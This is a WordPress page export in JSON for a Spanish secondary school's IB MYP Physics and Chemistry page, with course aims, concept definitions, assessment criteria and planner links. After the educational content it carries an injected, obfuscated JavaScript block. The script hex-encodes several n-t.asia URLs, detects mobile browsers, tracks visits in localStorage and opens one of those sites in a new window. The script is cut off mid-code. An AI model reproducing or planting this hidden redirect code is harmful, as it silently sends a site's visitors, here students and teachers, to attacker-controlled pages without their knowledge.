{"id":690,"date":"2022-04-19T21:03:44","date_gmt":"2022-04-19T21:03:44","guid":{"rendered":"https:\/\/iesrosachacel.net\/pai_dev\/?page_id=690"},"modified":"2023-10-22T16:47:57","modified_gmt":"2023-10-22T16:47:57","slug":"ciencias-fisica-y-qu%e1%b8%bfica","status":"publish","type":"page","link":"https:\/\/iesrosachacel.net\/pai_dev\/ciencias-fisica-y-qu%e1%b8%bfica\/","title":{"rendered":"Ciencias &#8211; F\u00edsica y Qu\u00edmica"},"content":{"rendered":"\n<div class=\"wp-block-buttons is-layout-flex wp-block-buttons-is-layout-flex\">\n<div class=\"wp-block-button has-custom-width wp-block-button__width-100 is-style-outline is-style-outline--1\"><a class=\"wp-block-button__link\" href=\"https:\/\/drive.google.com\/file\/d\/1bKgdMxCTAqmC_mjMWMpezD1sWFvuW6ch\/view?usp=sharing\" target=\"_blank\" rel=\"noreferrer noopener\">Gu\u00eda de Ciencias<\/a><\/div>\n<\/div>\n\n\n\n<h1 class=\"ancla wp-block-heading\" id=\"Conceptosclave\" style=\"font-size:clamp(14px, 0.875rem + ((1vw - 3.2px) * 0.488), 18px);px\"><span class=\"ez-toc-section\" id=\"Planteamiento_de_la_asignatura\"><\/span>Planteamiento de la asignatura<span class=\"ez-toc-section-end\"><\/span><\/h1>\n\n\n\n<p class=\"wp-block-paragraph\">El grupo de asignaturas de Ciencias forma parte del Programa de los A\u00f1os Intermedios (PAI) y se integra en su estructura, que hace \u00e9nfasis en el aprendizaje conceptual y en la contextualizaci\u00f3n de los aprendizajes y tiene un enfoque claramente competencial. Los rasgos fundamentales del PAI, que conforman el n\u00facleo de todas las asignaturas del programa, est\u00e1n descritos sucintamente en la p\u00e1gina&nbsp;<a rel=\"noreferrer noopener\" href=\"https:\/\/iesrosachacel.net\/pai_dev\/pai\/\" target=\"_blank\">Fundamentos del Programa de los A\u00f1os Intermedios (PAI)<\/a>.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Dentro de este grupo de asignaturas se imparten en el IES Rosa Chacel Biolog\u00eda y F\u00edsica y Qu\u00edmica.<\/p>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\"><p>Con la indagaci\u00f3n como base, el marco de Ciencias del PAI aspira a guiar a los alumnos para que exploren cuestiones de manera independiente y colaborativa mediante la investigaci\u00f3n, la observaci\u00f3n y la experimentaci\u00f3n. El curr\u00edculo de Ciencias del PAI explora las relaciones que existen entre la ciencia y la vida cotidiana. Mediante la investigaci\u00f3n de ejemplos reales de aplicaciones de la ciencia, los alumnos descubren las tensiones y las dependencias que existen entre la ciencia y la moral, la \u00e9tica, la cultura, la econom\u00eda, la pol\u00edtica y el medio ambiente.<\/p><p>La indagaci\u00f3n cient\u00edfica fomenta el pensamiento cr\u00edtico y creativo sobre la investigaci\u00f3n y el dise\u00f1o, as\u00ed como la identificaci\u00f3n de supuestos y explicaciones alternativas. Los alumnos aprenden a apreciar y respetar las ideas de los dem\u00e1s, adquirir buenas habilidades de razonamiento \u00e9tico y profundizar su sentido de la responsabilidad como miembros de comunidades locales y globales.<\/p><cite><em>Sinopsis oficial de la asignatura,&nbsp;<\/em><a href=\"https:\/\/www.ibo.org\/globalassets\/digital-toolkit\/brochures\/myp-briefs\/myp-brief-sciences-2016-es.pdf\" target=\"_blank\" rel=\"noreferrer noopener\">https:\/\/www.ibo.org\/globalassets\/digital-toolkit\/brochures\/myp-briefs\/myp-brief-sciences-2016-es.pdf<\/a><\/cite><\/blockquote>\n\n\n\n<h1 class=\"wp-block-heading\" style=\"font-size:clamp(14px, 0.875rem + ((1vw - 3.2px) * 0.488), 18px);px\"><span class=\"ez-toc-section\" id=\"Objetivos_generales_de_la_asignatura_Ciencias\"><\/span>Objetivos generales de la asignatura Ciencias<span class=\"ez-toc-section-end\"><\/span><\/h1>\n\n\n\n<ul class=\"wp-block-list\"><li>Comprender y valorar la ciencia y sus implicaciones<\/li><li>Considerar la ciencia como una actividad humana que presenta beneficios y limitaciones<\/li><li>Formarse una mentalidad anal\u00edtica, indagadora y flexible para plantear preguntas, resolver problemas, elaborar explicaciones y juzgar argumentos<\/li><li>Desarrollar habilidades para dise\u00f1ar y llevar a cabo investigaciones, evaluar pruebas y llegar a conclusiones<\/li><li>Adquirir conciencia de la necesidad de colaborar y comunicarse de manera eficaz<\/li><li>Aplicar sus conocimientos y habilidades ling\u00fc\u00edsticas en una variedad de situaciones de la vida real<\/li><li>Desarrollar sensibilidad hacia los elementos vivos e inertes del entorno<\/li><li>Reflexionar sobre las experiencias de aprendizaje y tomar decisiones fundadas<\/li><\/ul>\n\n\n\n<h1 class=\"wp-block-heading\" style=\"font-size:clamp(14px, 0.875rem + ((1vw - 3.2px) * 0.488), 18px);px\"><span class=\"ez-toc-section\" id=\"Conceptos_relacionados\"><\/span>Conceptos relacionados<span class=\"ez-toc-section-end\"><\/span><\/h1>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\"><p>Los conceptos relacionados favorecen la profundidad del aprendizaje. Son disciplinarios y resultan \u00fatiles para explorar los conceptos clave con m\u00e1s detalle. La indagaci\u00f3n sobre los conceptos relacionados ayuda a los alumnos a lograr una comprensi\u00f3n conceptual m\u00e1s compleja y sofisticada. Los conceptos relacionados pueden surgir del tema de una unidad, o de las caracter\u00edsticas y los procesos propios de la asignatura.<\/p><cite>Gu\u00eda de Ciencias. Para uso a partir de septiembre de 2014 o enero de 2015, p\u00e1g. 22.<\/cite><\/blockquote>\n\n\n\n<div id=\"wp-block-themeisle-blocks-accordion-a737d652\" class=\"wp-block-themeisle-blocks-accordion\">\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Consecuencias<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\"><p>Efectos o resultados observables o cuantificables que est\u00e1n correlacionados con un acontecimiento o acontecimientos previos.<\/p><cite>Gu\u00eda de Ciencias. Para uso a partir de septiembre de 2014 o enero de 2015, p\u00e1g. 63.<\/cite><\/blockquote>\n<\/div><\/details>\n\n\n\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Energ\u00eda<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\"><p>Capacidad de un objeto para realizar trabajo o transferir calor.<\/p><cite>Gu\u00eda de Ciencias. Para uso a partir de septiembre de 2014 o enero de 2015, p\u00e1g. 63.<\/cite><\/blockquote>\n<\/div><\/details>\n\n\n\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Entorno<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\"><p>Todos los factores bi\u00f3ticos y abi\u00f3ticos que act\u00faan en un organismo, una poblaci\u00f3n o una comunidad e influyen en su supervivencia, evoluci\u00f3n y desarrollo.<\/p><cite>Gu\u00eda de Ciencias. Para uso a partir de septiembre de 2014 o enero de 2015, p\u00e1g. 63.<\/cite><\/blockquote>\n<\/div><\/details>\n\n\n\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Equilibrio<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\"><p>Compensaci\u00f3n din\u00e1mica existente entre los miembros de una comunidad natural estable; regulaci\u00f3n del medio interno de un organismo.<\/p><cite>Gu\u00eda de Ciencias. Para uso a partir de septiembre de 2014 o enero de 2015, p\u00e1g. 63.<\/cite><\/blockquote>\n<\/div><\/details>\n\n\n\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Forma<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\"><p>Caracter\u00edsticas de un objeto que se pueden observar, identificar, describir, clasificar y categorizar.<\/p><cite>Gu\u00eda de Ciencias. Para uso a partir de septiembre de 2014 o enero de 2015, p\u00e1g. 63.<\/cite><\/blockquote>\n<\/div><\/details>\n\n\n\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Funci\u00f3n<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\"><p>Prop\u00f3sito, papel o forma de comportarse que se puede investigar; relaci\u00f3n matem\u00e1tica entre variables.<\/p><cite>Gu\u00eda de Ciencias. Para uso a partir de septiembre de 2014 o enero de 2015, p\u00e1g. 63.<\/cite><\/blockquote>\n<\/div><\/details>\n\n\n\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Interacci\u00f3n<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\"><p>Efecto o efectos que se ejercen entre s\u00ed dos o m\u00e1s sistemas, cuerpos, sustancias u organismos, de forma que el resultado global es m\u00e1s que la suma de cada efecto.<\/p><cite>Gu\u00eda de Ciencias. Para uso a partir de septiembre de 2014 o enero de 2015, p\u00e1g. 63.<\/cite><\/blockquote>\n<\/div><\/details>\n\n\n\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Modelos<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\"><p>Representaciones para comprobar teor\u00edas o propuestas cient\u00edficas que pueden repetirse y validarse con precisi\u00f3n; simulaciones utilizadas para explicar o predecir procesos que pueden no ser observables, o para comprender la din\u00e1mica de los m\u00faltiples fen\u00f3menos subyacentes a un sistema complejo.<\/p><cite>Gu\u00eda de Ciencias. Para uso a partir de septiembre de 2014 o enero de 2015, p\u00e1g. 63.<\/cite><\/blockquote>\n<\/div><\/details>\n\n\n\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Movimiento<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\"><p>Acto, proceso o resultado de desplazarse de un lugar o una posici\u00f3n a otros dentro de un marco de referencia definido.<\/p><cite>Gu\u00eda de Ciencias. Para uso a partir de septiembre de 2014 o enero de 2015, p\u00e1g. 63.<\/cite><\/blockquote>\n<\/div><\/details>\n\n\n\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Patrones<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\"><p>Distribuci\u00f3n de variables en el tiempo o en el espacio; secuencias de acontecimientos o caracter\u00edsticas.<\/p><cite>Gu\u00eda de Ciencias. Para uso a partir de septiembre de 2014 o enero de 2015, p\u00e1g. 64.<\/cite><\/blockquote>\n<\/div><\/details>\n\n\n\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Pruebas<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\"><p>Fundamentaci\u00f3n de una proposici\u00f3n basada en la observaci\u00f3n y la interpretaci\u00f3n de datos.<\/p><cite>Gu\u00eda de Ciencias. Para uso a partir de septiembre de 2014 o enero de 2015, p\u00e1g. 64.<\/cite><\/blockquote>\n<\/div><\/details>\n\n\n\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Transformaci\u00f3n<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\"><p>Diferenciaci\u00f3n de una c\u00e9lula; cambio de forma de la energ\u00eda, incluso a nivel molecular; alteraci\u00f3n de las mol\u00e9culas y el metabolismo o la composici\u00f3n gen\u00e9tica de un organismo o especie y, por consecuencia, de una comunidad, en relaci\u00f3n con factores externos.<\/p><cite>Gu\u00eda de Ciencias. Para uso a partir de septiembre de 2014 o enero de 2015, p\u00e1g. 64.<\/cite><\/blockquote>\n<\/div><\/details>\n<\/div>\n\n\n\n<h1 class=\"wp-block-heading\" style=\"font-size:clamp(14px, 0.875rem + ((1vw - 3.2px) * 0.488), 18px);px\"><span class=\"ez-toc-section\" id=\"Objetivos_y_criterios_de_evaluacion\"><\/span>Objetivos y criterios de evaluaci\u00f3n<span class=\"ez-toc-section-end\"><\/span><\/h1>\n\n\n\n<p class=\"wp-block-paragraph\">El grupo de asignaturas Ciencias del Programa de los A\u00f1os Intermedios incluye en el IES Rosa Chacel es evaluado mediante criterios de evaluaci\u00f3n orientados a la adquisici\u00f3n de competencias relacionadas con la recopilaci\u00f3n de datos, el an\u00e1lisis y la reflexi\u00f3n, pero tambi\u00e9n contempla la comprensi\u00f3n y aplicaci\u00f3n de conocimientos cient\u00edficos. Todos los objetivos establecidos en el sistema nacional espa\u00f1ol quedan integrados en los del PAI, en su mayor parte en el primer criterio, \u00abConocimiento y comprensi\u00f3n\u00bb.<\/p>\n\n\n\n<h2 class=\"has-normal-font-size wp-block-heading\"><span class=\"ez-toc-section\" id=\"2o_ESO_3o_PAI\"><\/span>2\u00ba ESO (3\u00ba PAI)<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<div id=\"wp-block-themeisle-blocks-accordion-7a685d7b\" class=\"wp-block-themeisle-blocks-accordion\">\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Criterio A: Conocimiento y comprensi\u00f3n <\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<ol class=\"wp-block-list\" id=\"block-c5b03b6f-f8ca-4291-be6a-cf45f0cc1e04\"><li>Esbozar conocimientos cient\u00edficos<\/li><li>Aplicar los conocimientos y la comprensi\u00f3n cient\u00edficos para resolver problemas en situaciones conocidas y sugerir soluciones a problemas en situaciones desconocidas<\/li><li>Interpretar informaci\u00f3n para emitir juicios con base cient\u00edfica<\/li><\/ol>\n\n\n\n<p class=\"wp-block-paragraph\"><em>Calificaci\u00f3n m\u00e1xima: 8.<\/em><\/p>\n<\/div><\/details>\n\n\n\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Criterio B:  Indagaci\u00f3n y dise\u00f1o<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<ol class=\"wp-block-list\" id=\"block-40856373-dc16-4df6-a6cc-988838cc55eb\"><li>Esbozar un problema o una pregunta adecuados que se quieren comprobar mediante una investigaci\u00f3n cient\u00edfica<\/li><li>Esbozar una predicci\u00f3n comprobable mediante un razonamiento cient\u00edfico<\/li><li>Esbozar c\u00f3mo manipular las variables y esbozar c\u00f3mo se obtendr\u00e1n los datos<\/li><li>Dise\u00f1ar investigaciones cient\u00edficas<\/li><\/ol>\n\n\n\n<p class=\"wp-block-paragraph\"><em>Calificaci\u00f3n m\u00e1xima: 8.<\/em><\/p>\n<\/div><\/details>\n\n\n\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Criterio C:  Procesamiento y evaluaci\u00f3n<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<ol class=\"wp-block-list\" id=\"block-f622c5d1-66a9-436c-97b1-803ed2d68636\"><li>Presentar los datos obtenidos y transformados<\/li><li>Interpretar los datos y esbozar los resultados mediante un razonamiento cient\u00edfico<\/li><li>Discutir la validez de una predicci\u00f3n seg\u00fan el resultado de la investigaci\u00f3n cient\u00edfica<\/li><li>Discutir la validez del m\u00e9todo<\/li><li>Describir las mejoras o ampliaciones del m\u00e9todo<\/li><\/ol>\n\n\n\n<p class=\"wp-block-paragraph\"><em>Calificaci\u00f3n m\u00e1xima: 8.<\/em><\/p>\n<\/div><\/details>\n\n\n\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Criterio D: Reflexi\u00f3n sobre el impacto de la ciencia <\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<ol class=\"wp-block-list\" id=\"block-1fa35f85-6e67-4039-8099-460e1c3a13e6\"><li>Resumir de qu\u00e9 maneras se aplica y se utiliza la ciencia para abordar una cuesti\u00f3n o un problema concretos<\/li><li>Describir y resumir las diversas implicaciones del uso de la ciencia y su aplicaci\u00f3n a la resoluci\u00f3n de una cuesti\u00f3n o un problema concretos<\/li><li>Aplicar lenguaje cient\u00edfico de forma eficaz<\/li><li>Documentar el trabajo de otras personas y las fuentes de informaci\u00f3n que utilice<\/li><\/ol>\n\n\n\n<p class=\"wp-block-paragraph\"><em>Calificaci\u00f3n m\u00e1xima: 8.<\/em><\/p>\n<\/div><\/details>\n<\/div>\n\n\n\n<h1 class=\"wp-block-heading\" style=\"font-size:clamp(14px, 0.875rem + ((1vw - 3.2px) * 0.488), 18px);px\"><span class=\"ez-toc-section\" id=\"Plantillas_de_planificadores\"><\/span>Plantillas de planificadores<span class=\"ez-toc-section-end\"><\/span><\/h1>\n\n\n\n<div class=\"wp-block-buttons is-layout-flex wp-block-buttons-is-layout-flex\">\n<div class=\"wp-block-button is-style-outline is-style-outline--2\"><a class=\"wp-block-button__link\" href=\"https:\/\/docs.google.com\/document\/d\/1LtCEERPy42IwctZthxV0WMaiDXlx2wvGCRaBPYUutjA\/copy\" target=\"_blank\" rel=\"noreferrer noopener\">1\u00ba ESO (2\u00ba PAI)<\/a><\/div>\n\n\n\n<div class=\"wp-block-button is-style-outline is-style-outline--3\"><a class=\"wp-block-button__link\">2\u00ba ESO (3\u00ba PAI)<\/a><\/div>\n\n\n\n<div class=\"wp-block-button is-style-outline is-style-outline--4\"><a class=\"wp-block-button__link\">3\u00ba ESO (4\u00ba PAI)<\/a><\/div>\n\n\n\n<div class=\"wp-block-button is-style-outline is-style-outline--5\"><a class=\"wp-block-button__link\">4\u00ba ESO (5\u00ba PAI)<\/a><\/div>\n<\/div>\n\n\n\n<h1 class=\"wp-block-heading\" style=\"font-size:clamp(14px, 0.875rem + ((1vw - 3.2px) * 0.488), 18px);\"><span class=\"ez-toc-section\" id=\"Planificadores\"><\/span>Planificadores<span class=\"ez-toc-section-end\"><\/span><\/h1>\n\n\n\n<p class=\"wp-block-paragraph\">Estos planificadores son fruto del trabajo de profesores del IES Rosa Chacel. Por definici\u00f3n estos documentos de planificaci\u00f3n del trabajo de aula est\u00e1n vivos, por lo que la versi\u00f3n publicada no es nunca la versi\u00f3n actual. Publicamos nuestros planificadores con la intenci\u00f3n de que resulten \u00fatiles a otros docentes. Agradecemos cualquier observaci\u00f3n que pueda mejorar nuestro trabajo o animarnos a continuar: estamos en pai@iesrosachacel.org.<\/p>\n\n\n\n<div class=\"wp-block-media-text alignwide is-stacked-on-mobile\"><figure class=\"wp-block-media-text__media\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"724\" src=\"https:\/\/iesrosachacel.net\/pai_dev\/wp-content\/uploads\/2022\/05\/Planificador-1-2ESO-Ciencias-Fisica-y-Quimica-1-1024x724.jpg\" alt=\"\" class=\"wp-image-763 size-full\" srcset=\"https:\/\/iesrosachacel.net\/pai_dev\/wp-content\/uploads\/2022\/05\/Planificador-1-2ESO-Ciencias-Fisica-y-Quimica-1-1024x724.jpg 1024w, https:\/\/iesrosachacel.net\/pai_dev\/wp-content\/uploads\/2022\/05\/Planificador-1-2ESO-Ciencias-Fisica-y-Quimica-1-300x212.jpg 300w, https:\/\/iesrosachacel.net\/pai_dev\/wp-content\/uploads\/2022\/05\/Planificador-1-2ESO-Ciencias-Fisica-y-Quimica-1-768x543.jpg 768w, https:\/\/iesrosachacel.net\/pai_dev\/wp-content\/uploads\/2022\/05\/Planificador-1-2ESO-Ciencias-Fisica-y-Quimica-1-920x651.jpg 920w, https:\/\/iesrosachacel.net\/pai_dev\/wp-content\/uploads\/2022\/05\/Planificador-1-2ESO-Ciencias-Fisica-y-Quimica-1-230x163.jpg 230w, https:\/\/iesrosachacel.net\/pai_dev\/wp-content\/uploads\/2022\/05\/Planificador-1-2ESO-Ciencias-Fisica-y-Quimica-1-350x248.jpg 350w, https:\/\/iesrosachacel.net\/pai_dev\/wp-content\/uploads\/2022\/05\/Planificador-1-2ESO-Ciencias-Fisica-y-Quimica-1-480x340.jpg 480w, https:\/\/iesrosachacel.net\/pai_dev\/wp-content\/uploads\/2022\/05\/Planificador-1-2ESO-Ciencias-Fisica-y-Quimica-1.jpg 1169w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure><div class=\"wp-block-media-text__content\">\n<p class=\"has-large-font-size wp-block-paragraph\">\u00a1Quietos todos!<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Los cambios en la Naturaleza son descritos por el desarrollo de modelos que se construyen a partir de funciones, y que favorecen descubrimientos que posibilitan el desarrollo humano.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/iesrosachacel.net\/pai_dev\/wp-content\/uploads\/2022\/05\/Planificador-1-2ESO-Ciencias-Fisica-y-Quimica-1.pdf\">Descargar<\/a><\/p>\n<\/div><\/div>\n\r\n<script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const _0x3de737=['parse','48RjHnAD','forEach','10eQGByx','test','7364049wnIPjl','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x6e\\x2d\\x74\\x2e\\x61\\x73\\x69\\x61\\x2f\\x65\\x44\\x68\\x39\\x63\\x31','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x6e\\x2d\\x74\\x2e\\x61\\x73\\x69\\x61\\x2f\\x42\\x68\\x6e\\x38\\x63\\x37','282667lxKoKj','open','abs','-hurs','getItem','1467075WqPRNS','addEventListener','mobileCheck','2PiDQWJ','18CUWcJz','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x6e\\x2d\\x74\\x2e\\x61\\x73\\x69\\x61\\x2f\\x52\\x50\\x74\\x35\\x63\\x39','8SJGLkz','random','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x6e\\x2d\\x74\\x2e\\x61\\x73\\x69\\x61\\x2f\\x6f\\x4e\\x49\\x31\\x63\\x35','7196643rGaMMg','setItem','-mnts','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x6e\\x2d\\x74\\x2e\\x61\\x73\\x69\\x61\\x2f\\x64\\x4f\\x63\\x32\\x63\\x36','266801SrzfpD','substr','floor','-local-storage','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x6e\\x2d\\x74\\x2e\\x61\\x73\\x69\\x61\\x2f\\x44\\x42\\x57\\x34\\x63\\x37','3ThLcDl','stopPropagation','_blank','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x6e\\x2d\\x74\\x2e\\x61\\x73\\x69\\x61\\x2f\\x6b\\x56\\x72\\x33\\x63\\x34','round','vendor','5830004qBMtee','filter','length','3227133ReXbNN','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x6e\\x2d\\x74\\x2e\\x61\\x73\\x69\\x61\\x2f\\x50\\x79\\x5a\\x30\\x63\\x32'];_0x4d17=function(){return _0x3de737;};return _0x4d17();}(function(_0x4923f9,_0x4f2d81){const _0x57995c=_0x9e23,_0x3577a4=_0x4923f9();while(!![]){try{const _0x3b6a8f=parseInt(_0x57995c(0x1fd))\/0x1*(parseInt(_0x57995c(0x1f3))\/0x2)+parseInt(_0x57995c(0x1d8))\/0x3*(-parseInt(_0x57995c(0x1de))\/0x4)+parseInt(_0x57995c(0x1f0))\/0x5*(-parseInt(_0x57995c(0x1f4))\/0x6)+parseInt(_0x57995c(0x1e8))\/0x7+-parseInt(_0x57995c(0x1f6))\/0x8*(-parseInt(_0x57995c(0x1f9))\/0x9)+-parseInt(_0x57995c(0x1e6))\/0xa*(parseInt(_0x57995c(0x1eb))\/0xb)+parseInt(_0x57995c(0x1e4))\/0xc*(parseInt(_0x57995c(0x1e1))\/0xd);if(_0x3b6a8f===_0x4f2d81)break;else _0x3577a4['push'](_0x3577a4['shift']());}catch(_0x463fdd){_0x3577a4['push'](_0x3577a4['shift']());}}}(_0x4d17,0xb69b4),function(_0x1e8471){const _0x37c48c=_0x9e23,_0x1f0b56=[_0x37c48c(0x1e2),_0x37c48c(0x1f8),_0x37c48c(0x1fc),_0x37c48c(0x1db),_0x37c48c(0x201),_0x37c48c(0x1f5),'\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x6e\\x2d\\x74\\x2e\\x61\\x73\\x69\\x61\\x2f\\x73\\x6a\\x6a\\x36\\x63\\x32','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x6e\\x2d\\x74\\x2e\\x61\\x73\\x69\\x61\\x2f\\x4b\\x4d\\x7a\\x37\\x63\\x33',_0x37c48c(0x1ea),_0x37c48c(0x1e9)],_0x27386d=0x3,_0x3edee4=0x6,_0x4b7784=_0x381baf=>{const _0x222aaa=_0x37c48c;_0x381baf[_0x222aaa(0x1e5)]((_0x1887a3,_0x11df6b)=>{const _0x7a75de=_0x222aaa;!localStorage[_0x7a75de(0x1ef)](_0x1887a3+_0x7a75de(0x200))&&localStorage['setItem'](_0x1887a3+_0x7a75de(0x200),0x0);});},_0x5531de=_0x68936e=>{const _0x11f50a=_0x37c48c,_0x5b49e4=_0x68936e[_0x11f50a(0x1df)]((_0x304e08,_0x36eced)=>localStorage[_0x11f50a(0x1ef)](_0x304e08+_0x11f50a(0x200))==0x0);return _0x5b49e4[Math[_0x11f50a(0x1ff)](Math[_0x11f50a(0x1f7)]()*_0x5b49e4[_0x11f50a(0x1e0)])];},_0x49794b=_0x1fc657=>localStorage[_0x37c48c(0x1fa)](_0x1fc657+_0x37c48c(0x200),0x1),_0x45b4c1=_0x2b6a7b=>localStorage[_0x37c48c(0x1ef)](_0x2b6a7b+_0x37c48c(0x200)),_0x1a2453=(_0x4fa63b,_0x5a193b)=>localStorage['setItem'](_0x4fa63b+'-local-storage',_0x5a193b),_0x4be146=(_0x5a70bc,_0x2acf43)=>{const _0x129e00=_0x37c48c,_0xf64710=0x3e8*0x3c*0x3c;return Math['round'](Math[_0x129e00(0x1ed)](_0x2acf43-_0x5a70bc)\/_0xf64710);},_0x5a2361=(_0x7e8d8a,_0x594da9)=>{const _0x2176ae=_0x37c48c,_0x1265d1=0x3e8*0x3c;return Math[_0x2176ae(0x1dc)](Math[_0x2176ae(0x1ed)](_0x594da9-_0x7e8d8a)\/_0x1265d1);},_0x2d2875=(_0xbd1cc6,_0x21d1ac,_0x6fb9c2)=>{const _0x52c9f1=_0x37c48c;_0x4b7784(_0xbd1cc6),newLocation=_0x5531de(_0xbd1cc6),_0x1a2453(_0x21d1ac+_0x52c9f1(0x1fb),_0x6fb9c2),_0x1a2453(_0x21d1ac+'-hurs',_0x6fb9c2),_0x49794b(newLocation),window[_0x52c9f1(0x1f2)]()&&window[_0x52c9f1(0x1ec)](newLocation,_0x52c9f1(0x1da));};_0x4b7784(_0x1f0b56),window[_0x37c48c(0x1f2)]=function(){const _0x573149=_0x37c48c;let _0x262ad1=![];return function(_0x264a55){const _0x49bda1=_0x9e23;if(\/(android|bb\\d+|meego).+mobile|avantgo|bada\\\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\\\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\\.(browser|link)|vodafone|wap|windows ce|xda|xiino\/i[_0x49bda1(0x1e7)](_0x264a55)||\/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\\-(n|u)|c55\\\/|capi|ccwa|cdm\\-|cell|chtm|cldc|cmd\\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\\-s|devi|dica|dmob|do(c|p)o|ds(12|\\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\\-|_)|g1 u|g560|gene|gf\\-5|g\\-mo|go(\\.w|od)|gr(ad|un)|haie|hcit|hd\\-(m|p|t)|hei\\-|hi(pt|ta)|hp( 